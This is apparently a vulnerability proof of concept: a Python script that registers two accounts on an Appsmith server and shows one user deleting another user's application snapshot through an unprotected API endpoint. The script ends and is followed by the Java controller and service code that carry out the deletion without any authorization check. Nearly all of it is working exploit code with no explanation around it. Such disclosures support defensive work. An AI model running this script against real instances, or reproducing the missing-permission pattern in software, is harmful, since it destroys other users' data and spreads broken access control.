import re
import time
import urllib.parse

import requests


BASE_URL = "http://127.0.0.1:8080"  # Replace with target base URL
PROXIES = {"http": None, "https": None}


def signup(email: str, password: str, name: str) -> dict:
    url = f"{BASE_URL}/api/v1/users"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-By": "Appsmith",
    }
    data = {"email": email, "password": password, "name": name}
    resp = requests.post(url, headers=headers, data=data, allow_redirects=False, timeout=25, proxies=PROXIES)
    return {
        "status": resp.status_code,
        "location": resp.headers.get("Location", ""),
        "cookies": resp.cookies.get_dict(),
        "body_head": resp.text[:200],
    }


def extract_app_id(location: str) -> str:
    # Example Location:
    # /signup-success?redirectUrl=%2Fapplications%2F<appId>%2Fpages%2F<pageId>%2Fedit&enableFirstTimeUserExperience=true
    parsed = urllib.parse.urlparse(location)
    qs = urllib.parse.parse_qs(parsed.query)
    redirect_url = urllib.parse.unquote(qs.get("redirectUrl", [""])[0])
    m = re.search(r"/applications/([0-9a-f]{24})/", redirect_url)
    if not m:
        raise RuntimeError(f"Could not extract appId from redirectUrl: {redirect_url!r}")
    return m.group(1)


def req(method: str, path: str, cookies=None, headers=None) -> requests.Response:
    url = f"{BASE_URL}{path}"
    h = {"Accept": "application/json"}
    if headers:
        h.update(headers)
    return requests.request(method, url, headers=h, cookies=cookies, allow_redirects=False, timeout=25, proxies=PROXIES)


def get_updated_time(app_id: str, cookies=None) -> str | None:
    r = req("GET", f"/api/v1/applications/snapshot/{app_id}", cookies=cookies)
    j = r.json()
    data = j.get("data")
    if isinstance(data, dict):
        return data.get("updatedTime")
    return None


def main() -> int:
    ts = int(time.time())

    user_a = {"email": f"snap_a_{ts}@example.com", "password": "Password123!", "name": "snap a"}
    user_b = {"email": f"snap_b_{ts}@example.com", "password": "Password123!", "name": "snap b"}

    a = signup(user_a["email"], user_a["password"], user_a["name"])
    if a["status"] != 302:
        raise RuntimeError(f"User A signup failed: {a}")

    app_id = extract_app_id(a["location"])
    cookies_a = a["cookies"]

    b = signup(user_b["email"], user_b["password"], user_b["name"])
    if b["status"] != 302:
        raise RuntimeError(f"User B signup failed: {b}")

    cookies_b = b["cookies"]

    # 1) User A creates snapshot
    r_create_a = req(
        "POST",
        f"/api/v1/applications/snapshot/{app_id}",
        cookies=cookies_a,
        headers={"X-Requested-By": "Appsmith"},
    )
    print("User A create snapshot:", r_create_a.status_code, r_create_a.text[:120])

    # 2) Verify snapshot exists
    before = get_updated_time(app_id, cookies=cookies_a)
    print("Snapshot updatedTime (before):", before)
    if not before:
        raise RuntimeError("Expected non-null updatedTime before deletion")

    # 3) Prove user B lacks access (cannot create snapshot, cannot export app)
    r_create_b = req(
        "POST",
        f"/api/v1/applications/snapshot/{app_id}",
        cookies=cookies_b,
        headers={"X-Requested-By": "Appsmith"},
    )
    print("User B create snapshot (expected fail):", r_create_b.status_code, r_create_b.text[:160])

    r_export_b = req("GET", f"/api/v1/applications/export/{app_id}", cookies=cookies_b)
    print("User B export app (expected fail):", r_export_b.status_code, r_export_b.text[:160])

    # 4) Exploit: user B deletes user A snapshot
    r_delete_b = req(
        "DELETE",
        f"/api/v1/applications/snapshot/{app_id}",
        cookies=cookies_b,
        headers={"X-Requested-By": "Appsmith"},
    )
    print("User B delete snapshot (should NOT be allowed):", r_delete_b.status_code, r_delete_b.text[:120])

    # 5) Verify deletion (updatedTime becomes null)
    after_a = get_updated_time(app_id, cookies=cookies_a)
    after_unauth = get_updated_time(app_id, cookies=None)
    print("Snapshot updatedTime (after, userA):", after_a)
    print("Snapshot updatedTime (after, unauth):", after_unauth)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

    @Override
  public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
      return applicationSnapshotRepository
              .deleteAllByApplicationId(branchedApplicationId)
              .thenReturn(Boolean.TRUE);
  }

    @JsonView(Views.Public.class)
  @DeleteMapping("/snapshot/{branchedApplicationId}")
  public Mono<ResponseDTO<Boolean>> deleteSnapshotWithoutApplicationJson(@PathVariable String branchedApplicationId) {
      log.debug("Going to delete snapshot with application branchedApplicationId: {}", branchedApplicationId);

      return applicationSnapshotService
              .deleteSnapshot(branchedApplicationId)
              .map(isDeleted -> new ResponseDTO<>(HttpStatus.OK, isDeleted));
  }